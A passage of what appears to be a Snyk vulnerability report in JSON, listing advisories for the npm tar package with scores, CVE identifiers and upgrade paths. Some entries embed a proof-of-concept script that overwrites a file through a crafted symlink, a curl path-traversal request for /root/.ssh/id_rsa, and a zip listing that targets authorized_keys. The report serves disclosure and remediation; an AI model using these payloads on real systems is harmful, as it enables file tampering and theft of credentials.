fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", 